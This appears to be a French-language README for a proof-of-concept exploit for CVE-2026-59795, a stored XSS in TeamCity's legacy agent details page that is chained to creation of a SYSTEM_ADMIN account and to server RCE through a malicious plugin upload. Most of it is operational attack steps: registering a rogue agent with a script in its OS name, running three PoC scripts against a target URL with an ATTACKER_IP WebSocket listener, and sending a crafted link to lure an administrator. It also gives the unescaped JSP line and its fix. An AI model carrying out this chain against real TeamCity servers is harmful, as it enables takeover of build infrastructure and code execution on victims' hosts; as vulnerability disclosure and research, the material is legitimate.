
Preuve de concept pour CVE-2026-59795 : XSS stocké non authentifié dans les détails de l'agent TeamCity, enchaîné à la création d'un compte SYSTEM_ADMIN et à une RCE par téléversement de plugin.
XSS stockée non authentifiée dans la page héritée de détails d'agent de TeamCity, permettant une escalade vers une RCE serveur sans redémarrage. Un attaquant enregistre un agent de build (aucun identifiant requis) avec un os.name malveillant, puis amène un administrateur à consulter la page de détails de cet agent. La charge utile s'exécute dans la session authentifiée de l'administrateur et peut créer un compte SYSTEM_ADMIN ou téléverser et charger un plugin malveillant.
| CVE | CVE-2026-59795 |
| Affecté | TeamCity <= 2026.1.1 (build 222577) |
| Corrigé dans | 2026.1.2 (222647), 2025.11.6 (208214) |
| CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N |
| Type | XSS stockée (CWE-79), chaînable vers une prise de contrôle SYSTEM_ADMIN et une RCE |
| Authentification requise | Aucune pour implanter la charge utile |
Déclencheur : un administrateur consulte l'agent malveillant, soit via un lien forgé en un clic &fromSakuraUI=true sur l'interface Sakura par défaut, soit sans aucun hameçonnage en ouvrant l'agent en attente dans le workflow d'autorisation normal lorsque l'administrateur utilise l'interface classique (option « Use Sakura UI » décochée par utilisateur, ou mode classique à l'échelle du serveur).
webapps/ROOT/agent/agentSummary.jsp affiche le nom du système d'exploitation rapporté par l'agent sans échappement :
<li>Operating system: <bs:osIcon osName="${agent.operatingSystemName}"/><strong>${agent.operatingSystemName}</strong></li>
Analyse complète avec captures d'écran et contexte : https://joakimbulow.com/posts/cve-2026-59795/
Le nom d'agent voisin quelques lignes au-dessus utilise <c:out>, ce qui confirme que l'omission est accidentelle. operatingSystemName est entièrement contrôlé par l'attaquant : un agent non authentifié le définit lors de l'enregistrement (attribut osName dans POST /app/agents/v1/register), et le serveur le stocke et le renvoie tel quel.
L'interface React Sakura échappe correctement osName et redirige normalement en dehors de la page héritée, mais la redirection est ignorée (et le JSP non échappé est rendu) lorsque :
?fromSakuraUI=true dans l'URL (le propre indicateur de contournement de la balise de redirection), outeamcity.ui.experimental=disableDefault, ou l'option par utilisateur « Use Sakura UI » désactivée), ouConfirmé en conditions réelles :
alert(document.domain) dans la session de l'administrateur, sans effets secondaires.SYSTEM_ADMIN dans la session de l'administrateur (sans RCE)./admin/pluginUpload.html et l'active via /admin/plugins.html (EnableAllPlugins), ce qui charge du code Java de l'attaquant dans la JVM TeamCity en cours d'exécution sans redémarrage. Vérifié au moyen d'un fichier de preuve écrit sur l'hôte du serveur, 4 secondes après le clic de l'administrateur.Échapper la sortie dans agentSummary.jsp :
<strong><c:out value="${agent.operatingSystemName}"/></strong>
(Le champ agent.version de la ligne ci-dessus présente le même problème et nécessite la même correction.)
GET /update/buildAgent.zipjavac sur la machine de l'attaquant, nécessaire uniquement pour le PoC RCEcurl -o buildAgent.zip https://teamcity.example.com/update/buildAgent.zip
unzip buildAgent.zip -d evilagent
Vous n'avez pas besoin de modifier manuellement conf/buildAgent.properties ; chaque PoC ci-dessous définit serverUrl à partir de son argument --url/--tc-url et réécrit le nom de l'agent à chaque exécution, il est donc sûr de réutiliser le même répertoire evilagent/ décompressé à plusieurs reprises.
./poc/)Exécutez-les dans l'ordre, chacun confirmant un impact plus important que le précédent.
1. alert_only.py, confirme le XSS, sans effet secondaire. Déploie un agent dont le champ osName déclenche alert(document.domain). Aucun compte créé, aucun code exécuté.
python3 poc/alert_only.py --url https://teamcity.example.com --agent-dir ./evilagent
2. attacker_deeplink.py, prise de contrôle XSS vers SYSTEM_ADMIN, sans RCE. Même plant, mais la charge utile crée un compte SYSTEM_ADMIN (eviladmin / Ev1l-Pass-123) et effectue un polling jusqu'à ce que ce compte puisse se connecter.
python3 poc/attacker_deeplink.py --url https://teamcity.example.com --agent-dir ./evilagent
3. rce_ws_server.py, chaîne complète, XSS vers téléversement de plugin vers RCE, terminal unique. Construit un plugin, démarre l'agent malveillant et un serveur WebSocket, et affiche le lien de phishing. Lorsque l'administrateur le consulte : le XSS se déclenche, le serveur WS livre le plugin, celui-ci est téléversé et activé, et TeamCity le charge à l'exécution.
python3 poc/rce_ws_server.py --lhost ATTACKER_IP --lport 1337 \
--tc-url https://teamcity.example.com --agent-dir ./evilagent
Chaque PoC affiche un lien du type :
https://teamcity.example.com/agentDetails.html?id=N&fromSakuraUI=true
Envoyez cela à l'administrateur (Sakura UI, en un clic), ou, si l'administrateur utilise déjà l'interface classique, indiquez-lui simplement agentDetails.html?id=N sans paramètre spécial, par exemple via le flux normal de révision des agents en attente.
Quelques secondes après le clic de l'administrateur, sur l'hôte du serveur TeamCity :
cat /tmp/pwned-tc-xss-rce.txt
=== TeamCity XSS->RCE chain confirmed ===
user: <tc-process-user>
host: <hostname>
java: <java-version>
cwd: <teamcity-bin-dir>
time: <timestamp>
Si le navigateur de l'administrateur ne peut pas atteindre directement votre machine d'attaquant, par exemple si vous n'êtes joignable que via un tunnel SSH vers la cible, utilisez rce_prepare.py pour construire le plugin et l'agent sur votre machine, puis transférez poc/ws_serve.py et le ZIP du plugin construit vers l'hôte TeamCity et servez-les depuis celui-ci :
# on the attacker machine
python3 poc/rce_prepare.py --tc-url http://localhost:8111 --agent-dir ./evilagent \
--ws-host localhost --ws-port 1337 --plugin-out /tmp/evil-plugin.zip
# transfer poc/ws_serve.py and /tmp/evil-plugin.zip to the TeamCity host, then there:
python3 ws_serve.py evil-plugin.zip 1337
Transférez le port WebSocket via le même tunnel que celui utilisé pour atteindre TeamCity (-L 1337:localhost:1337) afin que le navigateur de l'administrateur puisse l'atteindre via ws://localhost:1337.
Note de nettoyage : chaque exécution enregistre un agent portant un nom fraîchement généré, donc les exécutions répétées n'entreront pas en collision, mais chacune laisse derrière elle un nouvel agent non autorisé. Supprimez-les sous Agents -> Unauthorized après les tests.